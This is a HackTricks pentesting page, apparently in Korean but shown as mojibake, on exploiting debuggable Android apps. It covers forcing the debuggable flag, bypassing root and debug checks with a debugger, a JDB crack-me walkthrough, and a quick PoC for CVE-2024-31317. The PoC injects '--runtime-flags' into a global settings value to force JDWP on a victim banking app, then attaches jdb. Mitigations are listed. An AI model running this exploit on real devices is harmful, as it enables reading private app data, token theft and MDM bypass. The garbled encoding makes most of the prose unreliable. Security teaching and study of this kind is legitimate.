๋๋ฒ๊น ๊ฐ๋ฅํ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฉํ๊ธฐ
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ฃจํธ ๋ฐ ๋๋ฒ๊น ๊ฐ๋ฅ์ฑ ๊ฒ์ฌ ์ฐํํ๊ธฐ
์ด ๊ฒ์๋ฌผ์ ์ด ์น์ ์ https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 ๊ฒ์๋ฌผ์ ์์ฝ์ ๋๋ค.
Android ์ฑ์ ๋๋ฒ๊น ๊ฐ๋ฅํ๊ฒ ๋ง๋ค๊ณ ๊ฒ์ฌ ์ฐํํ๊ธฐ ์ํ ๋จ๊ณ
์ฑ์ ๋๋ฒ๊น ๊ฐ๋ฅํ๊ฒ ๋ง๋ค๊ธฐ
๋ด์ฉ์ https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค.
- APK ๋์ปดํ์ผ:
- APK ๋์ปดํ์ผ์ ์ํด APK-GUI ๋๊ตฌ๋ฅผ ์ฌ์ฉํฉ๋๋ค.
- android-manifest ํ์ผ์
android:debuggable="true"๋ฅผ ์ฝ์ ํ์ฌ ๋๋ฒ๊น ๋ชจ๋๋ฅผ ํ์ฑํํฉ๋๋ค. - ์์ ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ค์ ์ปดํ์ผํ๊ณ ์๋ช ํ ํ zipalignํฉ๋๋ค.
- ์์ ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ค์น:
- ๋ช
๋ น์ด:
adb install <application_name>์ ์ฌ์ฉํฉ๋๋ค.
- ํจํค์ง ์ด๋ฆ ๊ฐ์ ธ์ค๊ธฐ:
adb shell pm list packages โ3๋ฅผ ์คํํ์ฌ ์๋ํํฐ ์ ํ๋ฆฌ์ผ์ด์ ๋ชฉ๋ก์ ํ์ธํ๊ณ ํจํค์ง ์ด๋ฆ์ ์ฐพ์ต๋๋ค.
- ์ฑ์ด ๋๋ฒ๊ฑฐ ์ฐ๊ฒฐ์ ๊ธฐ๋ค๋ฆฌ๋๋ก ์ค์ :
- ๋ช
๋ น์ด:
adb shell am setup-debug-app โw <package_name>์ ๋๋ค. - ์ฐธ๊ณ : ์ด ๋ช ๋ น์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์์ํ๊ธฐ ์ ์ ๋งค๋ฒ ์คํํด์ผ ๋๋ฒ๊ฑฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๋๋ก ์ค์ ๋ฉ๋๋ค.
- ์ง์์ฑ์ ์ํด
adb shell am setup-debug-app โw โโpersistent <package_name>์ ์ฌ์ฉํฉ๋๋ค. - ๋ชจ๋ ํ๋๊ทธ๋ฅผ ์ ๊ฑฐํ๋ ค๋ฉด
adb shell am clear-debug-app <package_name>์ ์ฌ์ฉํฉ๋๋ค.
- Android Studio์์ ๋๋ฒ๊น ์ค๋น:
- Android Studio์์ _File -> Open Profile or APK_๋ก ์ด๋ํฉ๋๋ค.
- ๋ค์ ์ปดํ์ผํ APK๋ฅผ ์ฝ๋๋ค.
- ์ฃผ์ Java ํ์ผ์ ์ค๋จ์ ์ค์ :
MainActivity.java(ํนํonCreate๋ฉ์๋),b.java,ContextWrapper.java์ ์ค๋จ์ ์ ์ค์ ํฉ๋๋ค.
๊ฒ์ฌ ์ฐํํ๊ธฐ
์ ํ๋ฆฌ์ผ์ด์ ์ ํน์ ์์ ์์ ๋๋ฒ๊น ๊ฐ๋ฅ์ฑ์ ํ์ธํ๊ณ ๋ฃจํ ๋ ์ฅ์น๋ฅผ ๋ํ๋ด๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฒ์ฌํฉ๋๋ค. ๋๋ฒ๊ฑฐ๋ฅผ ์ฌ์ฉํ์ฌ ์ฑ ์ ๋ณด๋ฅผ ์์ ํ๊ณ , ๋๋ฒ๊น ๊ฐ๋ฅ ๋นํธ๋ฅผ ํด์ ํ๋ฉฐ, ๊ฒ์๋ ๋ฐ์ด๋๋ฆฌ์ ์ด๋ฆ์ ๋ณ๊ฒฝํ์ฌ ์ด๋ฌํ ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค.
๋๋ฒ๊น ๊ฐ๋ฅ์ฑ ๊ฒ์ฌ์ ๋ํด:
- ํ๋๊ทธ ์ค์ ์์ :
- ๋๋ฒ๊ฑฐ ์ฝ์์ ๋ณ์ ์น์
์์ ๋ค์์ผ๋ก ์ด๋ํฉ๋๋ค:
this mLoadedAPK -> mApplicationInfo -> flags = 814267974. - ์ฐธ๊ณ :
flags = 814267974์ ์ด์ง ํํ์11000011100111011110์ผ๋ก, โFlag_debuggableโ์ด ํ์ฑํ๋์ด ์์์ ๋ํ๋ ๋๋ค.

์ด ๋จ๊ณ๋ค์ ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋๋ฒ๊น ๊ฐ๋ฅํ๋๋ก ํ๊ณ , ๋๋ฒ๊ฑฐ๋ฅผ ์ฌ์ฉํ์ฌ ํน์ ๋ณด์ ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์๋๋ก ํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋์์ ๋ณด๋ค ์ฌ์ธต์ ์ผ๋ก ๋ถ์ํ๊ฑฐ๋ ์์ ํ ์ ์๊ฒ ํฉ๋๋ค.
2๋จ๊ณ์์๋ ํ๋๊ทธ ๊ฐ์ 814267972๋ก ๋ณ๊ฒฝํ๋๋ฐ, ์ด๋ ์ด์ง์๋ก 110000101101000000100010100์ผ๋ก ํํ๋ฉ๋๋ค.
์ทจ์ฝ์ ์ ์ฉํ๊ธฐ
๋ฒํผ๊ณผ ํ ์คํธ ๋ทฐ๊ฐ ํฌํจ๋ ์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉํ์ฌ ์์ฐ์ด ์ ๊ณต๋์์ต๋๋ค. ์ฒ์์ ์ ํ๋ฆฌ์ผ์ด์ ์ โCrack Meโ๋ฅผ ํ์ํฉ๋๋ค. ๋ชฉํ๋ ์์ค ์ฝ๋๋ฅผ ์์ ํ์ง ์๊ณ ๋ฐํ์์์ โTry Againโ ๋ฉ์์ง๋ฅผ โHackedโ๋ก ๋ณ๊ฒฝํ๋ ๊ฒ์ ๋๋ค.
์ทจ์ฝ์ ํ์ธํ๊ธฐ
apktool์ ์ฌ์ฉํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋์ปดํ์ผํ๊ณAndroidManifest.xmlํ์ผ์ ์ ๊ทผํ์ต๋๋ค.- AndroidManifest.xml์
android_debuggable="true"๊ฐ ์กด์ฌํ๋ ๊ฒ์ ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋๋ฒ๊น ๊ฐ๋ฅํ๊ณ ์ ์ฉ๋ ์ ์์์ ๋ํ๋ ๋๋ค. apktool์ ์ฝ๋๋ฅผ ๋ณ๊ฒฝํ์ง ์๊ณ ๋๋ฒ๊น ๊ฐ๋ฅ ์ํ๋ฅผ ํ์ธํ๋ ๋ฐ๋ง ์ฌ์ฉ๋๋ค๋ ์ ์ ์ ์ํด์ผ ํฉ๋๋ค.
์ค์ ์ค๋นํ๊ธฐ
- ์ด ๊ณผ์ ์ ์๋ฎฌ๋ ์ดํฐ๋ฅผ ์์ํ๊ณ ์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์
์ ์ค์นํ๋ฉฐ,
adb jdwp๋ฅผ ์ฌ์ฉํ์ฌ ์์ ๋๊ธฐ ์ค์ธ Dalvik VM ํฌํธ๋ฅผ ์๋ณํ๋ ๊ฒ์ ํฌํจํ์ต๋๋ค. - JDWP(Java Debug Wire Protocol)๋ VM์์ ์คํ ์ค์ธ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋๋ฒ๊น ํ ์ ์๋๋ก ๊ณ ์ ํ ํฌํธ๋ฅผ ๋ ธ์ถํฉ๋๋ค.
- ์๊ฒฉ ๋๋ฒ๊น ์ ์ํด ํฌํธ ํฌ์๋ฉ์ด ํ์ํ์ผ๋ฉฐ, ์ดํ JDB๋ฅผ ๋์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฐ๊ฒฐํ์ต๋๋ค.
๋ฐํ์์์ ์ฝ๋ ์ฃผ์ ํ๊ธฐ
- ์ ์ฉ์ ์ค๋จ์ ์ ์ค์ ํ๊ณ ์ ํ๋ฆฌ์ผ์ด์ ํ๋ฆ์ ์ ์ดํ์ฌ ์ํ๋์์ต๋๋ค.
classes๋ฐmethods <class_name>์ ๊ฐ์ ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ตฌ์กฐ๋ฅผ ๋ฐํ๋์ต๋๋ค.onClick๋ฉ์๋์ ์ค๋จ์ ์ ์ค์ ํ๊ณ ๊ทธ ์คํ์ ์ ์ดํ์ต๋๋ค.locals,next,set๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ ๋ก์ปฌ ๋ณ์๋ฅผ ๊ฒ์ฌํ๊ณ ์์ ํ์ผ๋ฉฐ, ํนํ โTry Againโ ๋ฉ์์ง๋ฅผ โHackedโ๋ก ๋ณ๊ฒฝํ์ต๋๋ค.- ์์ ๋ ์ฝ๋๋
run๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ ์คํ๋์ด ์ ํ๋ฆฌ์ผ์ด์ ์ ์ถ๋ ฅ์ ์ค์๊ฐ์ผ๋ก ์ฑ๊ณต์ ์ผ๋ก ๋ณ๊ฒฝํ์ต๋๋ค.
์ด ์์๋ ๋๋ฒ๊น ๊ฐ๋ฅํ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋์์ ์กฐ์ํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ฃผ๋ฉฐ, ์ ํ๋ฆฌ์ผ์ด์ ์ ๋งฅ๋ฝ์์ ์ฅ์น์ ๋ํ ์ ธ ์ ๊ทผ์ ์ป๋ ๊ฒ๊ณผ ๊ฐ์ ๋ ๋ณต์กํ ์ ์ฉ ๊ฐ๋ฅ์ฑ์ ๊ฐ์กฐํฉ๋๋ค.
2024 โ ๋ชจ๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋๋ฒ๊น ๊ฐ๋ฅํ ํ๋ก์ธ์ค๋ก ์ ํํ๊ธฐ (CVE-2024-31317)
๋์ APK๊ฐ android:debuggable ํ๋๊ทธ์ ํจ๊ป ์ ๊ณต๋์ง ์๋๋ผ๋, ์ต๊ทผ ์ฐ๊ตฌ์ ๋ฐ๋ฅด๋ฉด Zygote๊ฐ ๋ช
๋ น์ค ์ธ์๋ฅผ ๊ตฌ๋ฌธ ๋ถ์ํ๋ ๋ฐฉ์์ ์
์ฉํ์ฌ ์์์ ์ ํ๋ฆฌ์ผ์ด์
์ด DEBUG_ENABLE_JDWP ๋ฐํ์ ํ๋๊ทธ๋ก ์์๋๋๋ก ๊ฐ์ ํ ์ ์๋ ๊ฒ์ผ๋ก ๋ํ๋ฌ์ต๋๋ค.
- ์ทจ์ฝ์ : Zygote์ ๋ช
๋ น ์์ผ์ ํตํด ์ ๊ณต๋
--runtime-flags์ ๋ํ ๋ถ์ ์ ํ ๊ฒ์ฆ์ผ๋ก ์ธํดsystem_server์ ๋๋ฌํ ์ ์๋ ๊ณต๊ฒฉ์(์:WRITE_SECURE_SETTINGS๊ถํ์ ๊ฐ์ง ํน๊ถadb์ ธ์ ํตํด)๊ฐ ์ถ๊ฐ ๋งค๊ฐ๋ณ์๋ฅผ ์ฃผ์ ํ ์ ์์ต๋๋ค. ์กฐ์๋ ๋ช ๋ น์ดsystem_server์ ์ํด ์ฌ์๋ ๋, ํผํด ์ ํ๋ฆฌ์ผ์ด์ ์ _๋๋ฒ๊น ๊ฐ๋ฅ_์ผ๋ก ํฌํฌ๋๊ณ JDWP ์ค๋ ๋๊ฐ ์์ ๋๊ธฐํฉ๋๋ค. ์ด ๋ฌธ์ ๋ CVE-2024-31317๋ก ์ถ์ ๋๋ฉฐ 2024๋ 6์ Android ๋ณด์ ๊ฒ์ํ์์ ์์ ๋์์ต๋๋ค. - ์ํฅ: ๋ชจ๋ ์ฑ(ํน๊ถ ์ฑ์ธ
com.android.settingsํฌํจ)์ ๊ฐ์ธ ๋ฐ์ดํฐ ๋๋ ํฐ๋ฆฌ์ ๋ํ ์ ์ฒด ์ฝ๊ธฐ/์ฐ๊ธฐ ์ ๊ทผ, ํ ํฐ ๋๋, MDM ์ฐํ, ๊ทธ๋ฆฌ๊ณ ๋ง์ ๊ฒฝ์ฐ ์ด์ ๋๋ฒ๊น ๊ฐ๋ฅํ ํ๋ก์ธ์ค์ ๋ด๋ณด๋ธ IPC ์๋ํฌ์ธํธ๋ฅผ ์ ์ฉํ์ฌ ๊ถํ ์์น์ผ๋ก ๊ฐ๋ ์ง์ ์ ์ธ ๊ฒฝ๋ก๋ฅผ ์ ๊ณตํฉ๋๋ค. - ์ํฅ์ ๋ฐ๋ ๋ฒ์ : 2024๋ 6์ ํจ์น ๋ ๋ฒจ ์ด์ ์ Android 9์์ 14๊น์ง.
๋น ๋ฅธ PoC
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app โ it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
1๋จ๊ณ์์ ์กฐ์๋ ๊ฐ์ ํ์๋ฅผ โ๋น ๋ฅธ ๊ฒฝ๋กโ์์ ๋ฒ์ด๋๊ฒ ํ๊ณ ,
--runtime-flags=0x104(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE)๊ฐ ํ๋ ์์ํฌ์ ์ํด ์ ๊ณต๋ ๊ฒ์ฒ๋ผ ๋ ๋ฒ์งธ ํฉ์ฑ ๋ช ๋ น์ ์ถ๊ฐํฉ๋๋ค. ์ฑ์ด ์์ฑ๋๋ฉด JDWP ์์ผ์ด ์ด๋ฆฌ๊ณ ์ผ๋ฐ์ ์ธ ๋์ ๋๋ฒ๊ทธ ํธ๋ฆญ(๋ฉ์๋ ๊ต์ฒด, ๋ณ์ ํจ์น, ๋ผ์ด๋ธ Frida ์ฃผ์ ๋ฑ)์ด APK๋ ์ฅ์น ๋ถํธ ์ด๋ฏธ์ง๋ฅผ ์์ ํ์ง ์๊ณ ๊ฐ๋ฅํฉ๋๋ค.
ํ์ง ๋ฐ ์ํ
- 2024-06-01 (๋๋ ์ดํ) ๋ณด์ ์์ค์ผ๋ก ํจ์น โ Google์
ZygoteCommandBuffer๋ฅผ ๊ฐํํ์ฌ ์ดํ ๋ช ๋ น์ด ์ด ๋ฐฉ์์ผ๋ก ๋ฐ๋ฐ์ ๋ ์ ์๋๋ก ํ์ต๋๋ค. - ์์ฐ ์ฅ์น์์
WRITE_SECURE_SETTINGS/shell์ ๊ทผ์ ์ ํํฉ๋๋ค. ์ด ์ต์คํ๋ก์์ ์ผ๋ฐ์ ์ผ๋ก ADB ๋๋ OEM ํน๊ถ ์ฑ๋ง ๋ณด์ ํ๋ ์ด ๊ถํ์ด ํ์ํฉ๋๋ค. - EMM/MDM ๊ด๋ฆฌ ํ๋ฆฟ์์๋
ro.debuggable=0์ ๊ฐ์ ํ๊ณadb disable-verifier๋ฅผ ํตํด ์ ธ์ ๊ฑฐ๋ถํฉ๋๋ค.
์ฐธ์กฐ
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


